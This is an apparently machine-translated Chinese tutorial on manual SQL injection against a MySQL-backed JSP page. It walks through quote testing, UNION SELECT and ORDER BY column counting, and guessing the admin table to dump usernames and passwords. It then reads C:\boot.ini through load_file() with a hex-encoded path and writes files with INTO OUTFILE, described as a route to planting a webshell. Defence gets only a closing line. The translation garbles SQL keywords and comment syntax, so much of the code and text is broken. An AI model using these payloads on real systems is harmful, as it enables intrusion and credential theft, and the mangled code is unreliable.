sql手动注入原理综述
评论:SQL注入(SQL注入)的方法非常普遍,使用起来也很方便,一般黑客使用的是Web、网络工具包、某某领导等现有工具,这些都是集成的。一些常用的SQL注入语句。下面我将向您展示如何使用MySQL的手动注射,MSSQL数据库。
一般漏洞的原因是,在程序执行过程中不会过滤敏感字符,从而允许攻击者将恶意字符串传输到结构化数据查询语句中,并执行恶意代码。
创建文本数据表MySQL代码:
复制代码代码如下所示:
如果不存在,创建数据库测试;
使用'测试';
表结构表'帐户'
如果存在帐户表;
创建表(帐户)
`帐号ID ` bigint(20)不为空auto_increment,
`帐户名` varchar(32)默认为空,
` accountpass ` varchar(32)默认为空,
主键(`帐号ID `)
InnoDB引擎=默认的字符集latin1);
表'帐户 /数据
插入到帐户值中
(1,'account1 ','account1);
表结构表admin
下拉表如果存在'管理';
创建表(admin)
` adminid ` bigint(20)不为空auto_increment,
` adminname ` varchar(32)默认为空,
` adminpass ` varchar(32)默认为空,
主键(` adminid `)
InnoDB引擎=默认的字符集latin1);
将数据放入数据
插入管理值
(1,'admin ','admin);
使用2。漏洞
这是数据库中的记录。在黄色是键语句之后,红色是输入部分。
注意ResultSet = statment.executequery(SELECT * FROM帐户帐号ID =++ request.getparameter(ID)+);
这里的request.getparameter(ID)的ID参数得到的参数,即在mysqlinject ID。jspid = 1,所以SQL语句是SELECT * FROM帐户帐号ID =
1。如果你改变它
检测2.1个漏洞
当我们写ID为mysqlinject。jspid = 1,那么sql语句是SELECT * FROM帐户帐号ID = 1,所以SQL语句都是错误的,因为SQL语句的值需要2包。
符号,如,,如果你只是不能写什么数字错误。如果它意味着更换程序,或其他方法来过滤保护。所以我们可以继续测试,然后mysqlinject。jspid = 1'和' = '
SQL语句是SELECT * FROM帐户帐号ID = '1'and ' = ',它应该恢复正常。有人说我回来不正常。原因有2。首先,程序过滤恶意字符。
二是程序的语句,我写的是不是选择*从帐户帐号ID = 1和' = '一样。这个问题在下面谈。
查询查询列数的2.2个联合查询的数目。
这里有些人会猜测查询列的数量是什么,如果它们只是测试,当然不会,但是如果你想进一步使用,它们会很有用。文章后面的耐心将被提及。如果您知道SQL,您应该知道联合查询。
联合查询是一个联合查询,执行第二个查询语句,返回值和这个查询合并。
你认为,如果你想合并这个查询值,什么是要求需要查询的列数等于查询中的列数。如果你不想等待,你将无法合并。然后你会犯错误。
它会想出那个。
因此,我们需要的是使联合查询的列数等于该查询中列的个数。也就是说,如果你不犯错误,它就会平等。
从第一列开始猜测,所以这个语句联合选择1在地址程序语句中构造。声明是mysqlinject。jspid =和联盟选择1和' = '这。有人问为什么
边缘(绿色部分)添加=也许你还记得,我们需要的SQL语句是两包括符号,选择*从帐户帐号ID =‘声明我们的输入是1位,这
为了去掉后面的',否则语句错误。在这个程序中,如果你想删除很多方法,为了让每个人都知道,所以我现在使用和=。首先,有几种方法可以消除这种情况。
1。使用和=是不容易的,但它不会在复杂的SQL语句中报告。
2。使用笔记或# * /所以你可以把东西回来了,所有的笔记,但有一个很大的问题,就是在复杂的SQL语句的执行可能是错的。
有人说为什么我添加了一个测试,#或错误,因为这是获取参数的使用,在地址栏参数。我们认为,原来的名字与#下载什么啊,数据库是的,#是地址栏的最后,是#
包括#毕竟。所以#性格不是介绍获得模式注入没有影响。
当你写一些工具的mysqlinject建设。jspid = 1 / / / * * /联盟/ * * /选择/ * / 1 / / / * * * * / / * / = / / / * * *注为什么是因为在程序里面的一个函数可以投入
空格内的参数去掉了,如果去掉了空间程序,就会产生一个错误的语句,那就错了。所以有些工具是用来代替空间的。这就是一个说明。
所谓的文档注释,从一开始一直到中间结束,任何代码都可以在程序员中注释,所以在使用它时有很多注释。用于解决SQL语句包的最后一个是什么
成双无符号。
我们开始了测试。
mysqlinject。jspid = 1 / * * /联盟/ * * /选择/ * / 1 / *
SELECT * FROM帐户帐号ID = 1 / * * /联盟/ * * /选择/ * / 1 / *。
你注意到最低的句子了吗
报的错是使用SELECT语句有不同的列数可能意味着;查询的使用数量是不同的;因此,它的结论是,不是查询查询。
一个表。因此,选择1选择1,2选择1,2,3知道正确的位置,所以你现在写列数也是查询数。你看到地下回到1 | 2 | 3 |,这个值是从我们的联盟。
合并查询。尝试改变联盟选择1,2,3工会选择4,5,6。你计划的4 | 5 | 6 |在地面
有人说你们都是骗人的。我该怎么转车呢我改了789,我还没出来。你作弊的是真实数据。我没有作弊,也没有作弊。为什么不能发生呢
有些程序在写入时只将数据写入集合的第一行输出,但在将合并查询合并到查询之后,它们只输出查询的数据。实际上,联合查询的数据也是可用的,但他没有丢失。
。聪明人会怎么想。啊,只要查询的是它是什么,而不是它的输出。哈哈,我很聪明,但是如何使查询输出它会告诉你一个简单的方法来看看SQL语句,
我们已经做了一些限制性的条件。在帐号ID =,也就是说,让accoundid限于身份,不,那不行动失败。
mysqlinject。jspid = 1000 / * * /联盟/ * * /选择/ * / / * 4,5,6
SELECT * FROM帐户帐号ID = 1000 / * * /联盟/ * * /选择/ * / / * 4,5,6
哈哈,没有!!!!!注意绿色部分,要一个ID,然后他自然会蒸发掉。
2.3低概率猜测查询列的数目
这种方法虽然不太可能,但会大大减少工作量。辅助方法只适用于SELECT *的简单SQL语句。
这种方法是基于MySQL中的排序排序。排序按顺序排列。让我们来写一个sql语句。SELECT * FROM帐户的帐号ID = '1'order帐号ID。
SQL语句可以根据帐号ID升序排序。然后我们不知道该怎么做,怎么猜测这是关键问题。MySQL支持列数排序选择*从帐户帐号ID =
1'order 1然后在第一列排序。
唉,你又在骗我们了。我们如何猜测列的数量然后我根据一个不存在的列表排序。例如,第四栏,你通常有3个口袋,最多10元,一天一天,一个3金日策,一个靳,大米和元,但现在你现在。
一天吃4公斤米,需要40元,你只有3个口袋,你没有40元,你会挨打的。
也就是说,有3列,按3顺序,按第三列,正常,按4顺序排列,列在第四列,没有第四列,错误。这也表明他有4根柱子。
这种方法是根据人类经验来判断的。我通常用这种方法取得成功,也就是说,它没有成功,没有太大的区别。
2.4使用联合猜测其他表并查询其他表
此方法可用于查询其他电子表格内容。例如,查询管理员密码。但是有一个前提,您必须对表名和列名。我们怎样才能了解它呢!!!因为MySQL和SQL Server的系统功能不一
喜欢,有sp_helpdb在SQLServer中没有MySQL,所以你只能猜测。
好了,开始陈述。让我们猜猜是否有一个管理表。
mysqlinject。jspid = 1 / * * /联盟/ * * /选择/ * / / / * 4,5,6从 / * * /行政/ *
SQL的SELECT * FROM帐户帐号ID = 1 / * * /联盟/ * * /选择/ * / / / * 4,5,6从 / * * /行政/ *
如果有正常的管理表,则返回是正常的,否则,将是错误的。你看,有一个管理表。为了更好地理解,我们猜测的是一个不存在的表。
mysqlinject。jspid = 1 / * * /联盟/ * * /选择/ * / / / * 4,5,6从 / * * / helloword / *
SQL的SELECT * FROM帐户帐号ID = 1 / * * /联盟/ * * /选择/ * / / / * 4,5,6从 / * * / helloword / *
我看是没有HelloWorld。所以这是错的。
再次,为什么我还是要写4,5,6啊,因为我们不知道他的列名。如果他写了,他会列出所有的。如果他不能胜任这一专栏,他会犯错误的。
现在的表命名、如何命名它,每个人都太聪明,取代其中的4、5、6直接进入的名字很快构建。
mysqlinject。jspid = 1 / * * /联盟/ * / / / *选择adminid,5,6 / * / / / / * * *管理
SQL的SELECT * FROM帐户帐号ID = 1 / * * /联盟/ * / / / *选择adminid,5,6 / * / / / / * * *管理
你看到了吗1个| 5 | 6 adminid ..如果它是正常的,它存在。您可以猜测列名并将其引入联合查询,以便您可以找到管理员帐户或密码。现在我想列出所有的名字。
带。
mysqlinject。jspid = 1 / * * /联盟/ * / / / *选择adminid,adminname,adminpass / / / * * /行政/ *
SQL的SELECT * FROM帐户帐号ID = 1 / * * /联盟/ * / / / *选择adminid,adminname,adminpass / / / * * /行政/ *
出来,1 |行政|行政|是adminid | adminname | adminpass |
还可以限制联合查询的条件。例如,如果你知道管理员用户,那么你可以选择adminid构建联盟,adminname,adminpass从管理adminname =在哪里;
玩它。
使用mysql系统功能。
使用load_file()函数来显示文件。
顾名思义,加载文件没有运行,它显示内容,但是我们必须读取文件的权限。首先构造一个句子来显示C: Boot.ini文件。
mysqlinject。jspid = 1 / * * /联盟/ * * /选择/ * / 1,load_file(0x633a5c626f6f742e696e69),3 / *
SQL的SELECT * FROM帐户帐号ID = 1 / * * /联盟/ * * /选择/ * / 1,load_file(0x633a5c626f6f742e696e69),3 / *
你看到的C的内容: Boot.ini文件吗问为什么load_file()是一个乱码。这不是随机代码。这是一个C: Boot.ini 16二进制代码。因为这个函数不能处理直接写入的路径,所以只能使用它。
16或ASCII码。因此,可以将路径转换为16或ASCII代码来执行。
为什么是排在第二的位置load_file,不是在第一列或第三列的位置吗因为,第一行是不能接受的,剩下的行,第一列是int类型,数字类型,你会发送你的女朋友吗
走进男厕所。笑话。如果是在Linux下,您可以使用/列出目录,但必须具有列表的权限。
通过load_file,你可以列出目录和读取文件。但当你遇到文件格式编码,你可能会遇到乱码的问题。这个问题可以解决。使用字符串函数,字符串(字符串,开始返回)。
假设我们要返回第三个字符,这是mysqlinject。jspid = 1 / * * /联盟/ * * /选择/ * / 1,子串(load_file(0x633a5c626f6f742e696e69),3,1),3 / *,所以我们回到第三。
一个字符,这是一个很好的方法来解决随机代码。
写webshell。与文件
MySQL的功能之一是输出查询结果。这是文件。首先构建一个简单的语句。
选择wordrsquo ‘你好;到outfile ‘C: a.txtrsquo;这里说‘你好wordrsquo;输出到C: a.txt
然后在网站上建立它。
mysqlinject。jspid = 1 / * * /联盟/ * * /选择/ * / 1,你好,3 / * / / * * /文件/ * / c:你好。txt/ *
SQL:选择帐户*帐号ID = 1 / * * /联盟/ * * /选择/ * / 1,你好,3 / * / / / / * * / outfile ';C:hello.txtrsquo; / *
成功插入。但是为什么我报告错了呢哦,那是因为你将数据写入文件并返回到集合中。没什么不对的。如果你把hello改成句子或其他东西,如果你把它写在网站目录上,那就是错误。
什么恐怖hellip;
2的保护和总结。漏洞
通过过滤特殊关键字来保护。很多代码站点,我这里不写。
有java,保护措施就是使用PreparedStatement对象查询。这里不多。下面是一个一般描述。如果应用到实战中,我们需要结合经验。